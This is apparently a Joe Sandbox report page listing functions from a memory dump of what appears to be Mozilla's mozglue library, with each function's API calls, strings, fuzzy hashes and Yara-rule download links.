Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 68939ed331f78aac2764246bafba651c88a47e7ed3468371cf7c38fc296e4ade
Instruction ID: 0d4ac436ee05b2c65f06d9b19b5d80e492d386fccf1b1fd65610dabf41b3eeea
Opcode Fuzzy Hash: 68939ed331f78aac2764246bafba651c88a47e7ed3468371cf7c38fc296e4ade
Instruction Fuzzy Hash: 8621D371A00208AFDF106F25DC48A9B7BB8FF45218F108428E81A97280CB75E558CFE5

Function 6C997030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C997046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C997060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C99707E

Part of subcall function 6C9481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9481DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C997096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C99709C
LocalFree.KERNEL32(?), ref: 6C9970AA

Strings

(null), xrefs: 6C99706A, 6C997083
### ERROR: %s: %s, xrefs: 6C997087

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: a60dde505f64b2ed3569a86ee0e517503308c3d837cc7b2d4ca06120b8593afd
Instruction ID: d94e9f8ae4f35c359df1223a14c9ef971b37f2c3c37e22cc1b1b17ae8de15837
Opcode Fuzzy Hash: a60dde505f64b2ed3569a86ee0e517503308c3d837cc7b2d4ca06120b8593afd
Instruction Fuzzy Hash: 1301B9B1A04108BFDB04AB64DC4ADAF7BBCEF49254F110425FA05E3681E671A914CBE5

Function 6C959E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C959EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C959F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C959F34
LeaveCriticalSection.KERNEL32(?), ref: 6C95A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95A8B1, 6C95A8D4, 6C95A8EF

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction ID: 361de8262da4a1a5ccc7568351556a0a438fb5487a2037df965d7bd21acb75b7
Opcode Fuzzy Hash: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction Fuzzy Hash: C272AE72A157118FD304CF28C540225FBE1BF89328F69C7ADE8698B791D735E852CB94

Function 6C982C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C982C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C982C61

Part of subcall function 6C934DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
Part of subcall function 6C934DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C982C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C982E2D

Part of subcall function 6C9481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9481DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C982E3B
(root), xrefs: 6C98354F
expected a Time entry, xrefs: 6C982E36

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction ID: 99cafc7005019323bac3fe759111c6e3513fe1e11e933d7eb313ef17e49dd827
Opcode Fuzzy Hash: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction Fuzzy Hash: 0791CEB0609B408FC724CF24C49469FBBE4AFD9358F104D1DE99A8BB91EB30D949CB52

Function 6C95C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C95C317
MOZ_CRASH(), xrefs: 6C95D4BB

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 87f3007a3f21a15659b67c7e6ffc9c5b393964c541e9aa2450ba776fdaaf8552
Instruction ID: 755f00d25bcb1e020554b9f278d9c0b0cdef09431bcdba629496b9c865c1fe0f
Opcode Fuzzy Hash: 87f3007a3f21a15659b67c7e6ffc9c5b393964c541e9aa2450ba776fdaaf8552
Instruction Fuzzy Hash: 765202316093418FD714CF28C59076AB7E6FB8A318FA4891DE8D687B81D735D866CB82

Function 6C999E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C999F3D
__aulldiv.LIBCMT ref: 6C999F77
__aullrem.LIBCMT ref: 6C999F8C
__aulldiv.LIBCMT ref: 6C99A023

Strings

NaN, xrefs: 6C999EAB
-Infinity, xrefs: 6C999E60, 6C999E7B

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction ID: 23c64d6bba40958825fe2a5ed3406e7c0cbf3124fa0fa7f08bd5627d084c03a4
Opcode Fuzzy Hash: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction Fuzzy Hash: 13C1B031E00319CFDB14CFA9C8507AEB7BAEB99304F194529D406ABB80DB71ED49CB91

Function 6C93D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C93D852
9, xrefs: 6C93DE7F
, xrefs: 6C93DA88
8, xrefs: 6C93DC08
-, xrefs: 6C93D7DD
1, xrefs: 6C93DBDD
@, xrefs: 6C93DAF6
0, xrefs: 6C93DC7F

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction ID: a3f63084d707268fb4c51eef44ef42c50fc555a2d36dd46b5bf943b0b05344dd
Opcode Fuzzy Hash: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction Fuzzy Hash: FA62E37252D3658FD701CE18C0A035EBBFAAF86318F186A4DE4D94BB91C335D985CB92

Function 6C949F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C94AB22
' , xrefs: 6C94A3D8
1, xrefs: 6C94A824
@, xrefs: 6C94A625
0, xrefs: 6C94A100
9, xrefs: 6C94A5D6

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: e01e6083b5c334a773d3d903ead23eb4e93048e4a31b766335b2c37fc9f99504
Instruction ID: fee37ec26d300f2bb73fefdb6fd2f65b01cd23ce4df9559da60dc575f2f64bb6
Opcode Fuzzy Hash: e01e6083b5c334a773d3d903ead23eb4e93048e4a31b766335b2c37fc9f99504
Instruction Fuzzy Hash: 6582DF359093118BD710CF09C49026EB7F6EB86759F65CA3EE8D547E90DB34E886CB82

Function 6C93BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C93C1CB
__aulldiv.LIBCMT ref: 6C93C24C
__aulldiv.LIBCMT ref: 6C93C348
__aullrem.LIBCMT ref: 6C93C365
__aulldiv.LIBCMT ref: 6C93C37D

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 035a9dbb3799f88b17e691d7aa9b9bf6d92ccc61d80e3115b4f3d7176bce0281
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 92322732B04A618FCB18DE2CC890666BBD6AFD9310F09876DE499CB395D734ED05CB91

Function 6C9A545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A8A4B

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d14bfdd842b906cb9aad05da8b05130c88aeb86b283c26762037a2facb8bce08
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 07B1D772A0061A8FDB14CFA8CC907A9B7F6FF95314F1902A9C549DB791D730D986CB90

Function 6C9A542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A925C

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: fa2dfabdee32c04fbefed09ffb724677cdcdf9da794df16ac8303742ba269558
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: FBB1D672E0011ACFDB14CF98CC806ADB7B6EF95314F150269C949EB795D731E98ACB90

Function 6C9A50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9A8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A925C

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 67007219e1354b6ed2fbf08a3a29d1d14f3d20306d073b519c36d202caab0ffb
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: C6A1E672A001178FCB14CFA8CC807A9B7B6EF95314F1542B9C949EB785D731E98ACB90

Function 6C9877A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C987A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C987A93

Part of subcall function 6C955C50: GetTickCount64.KERNEL32 ref: 6C955D40
Part of subcall function 6C955C50: EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C955D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C987AA1

Part of subcall function 6C955C50: __aulldiv.LIBCMT ref: 6C955DB4
Part of subcall function 6C955C50: LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C955DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C987B31

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 2fe385f539d94285398a8a08d0267253a96c29fe086c19a066cdd90c304e5a2c
Instruction ID: e0fd00b068a93ab4d028554bc4a64146007afc8bfe58b745b916da0a99aa24a1
Opcode Fuzzy Hash: 2fe385f539d94285398a8a08d0267253a96c29fe086c19a066cdd90c304e5a2c
Instruction Fuzzy Hash: 57B189357093808BCB14CE24C49069FB7E2BFD9718F654E1CE99567B91DB70E90ACB82

Function 6C976CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C976D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976E1E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction ID: c8503ad23c6130a3417bbbca85725a6315f0da4d54eda8c11bd721a338d81d77
Opcode Fuzzy Hash: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction Fuzzy Hash: 73A18E706193808FDB25CF24C4907AEFBE6BF99308F55491DE88A87751DB70E948CB92

Function 6C99B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C99B720
RtlNtStatusToDosError.NTDLL ref: 6C99B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C96FE3F,00000000,00000000,?,?,00000000,?,6C96FE3F), ref: 6C99B760

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 1f12acfb94d533b4c735f36d40838b9cd849d820175ceef42c94a917a144b9ae
Instruction ID: e8a93142ea8a16a046d022c93f35c109bc64ae1eec998ac2ae2401b707736469
Opcode Fuzzy Hash: 1f12acfb94d533b4c735f36d40838b9cd849d820175ceef42c94a917a144b9ae
Instruction Fuzzy Hash: 0BF0C2B0A0420CBEEF119AE1CC84BEF77BF9B18719F145229E511659C0D778D6CCC660

Function 6C954640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C954777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C955585, 6C9555A8, 6C9555C3, 6C955624

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction ID: 5879363d572d7bcc045e76c7c8f9990b536425f88c4387990c379f13da910890
Opcode Fuzzy Hash: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction Fuzzy Hash: 4AB28D71A057018FC708CF19C590715BBE6BFC5328F69C7ADE46A8B6A6D731E861CB80

Function 6C9985F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C998C7C
__aulldiv.LIBCMT ref: 6C998DD7

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 95a7a17f50ff80a8046c5207491f85d1efb8739ec71ff9846c23253a1b5b0487
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7E325C71F0111A8BDB1CCE9CC8A17BEB7B6FB88300F19852ED506BB790DA349D458B95

Function 6C99B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9403D4,?), ref: 6C99B955
NtQueryVirtualMemory.NTDLL ref: 6C99B9A5

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: ab07ebe36875d4652144a9afb1d665238746ebb81092a9274eeecc4cb20379ba
Instruction ID: 434743d705a8ced4b89ba6a149d801241e9bd42fba7ce2c29f4a8dfaf72d65d8
Opcode Fuzzy Hash: ab07ebe36875d4652144a9afb1d665238746ebb81092a9274eeecc4cb20379ba
Instruction Fuzzy Hash: 2741B371E0121D9FDF14CFA9D890ADEB7B9EF88358F14812AE505A7B44DB34DC458B90

Function 6C975C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C944A63,?,?), ref: 6C975F06

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
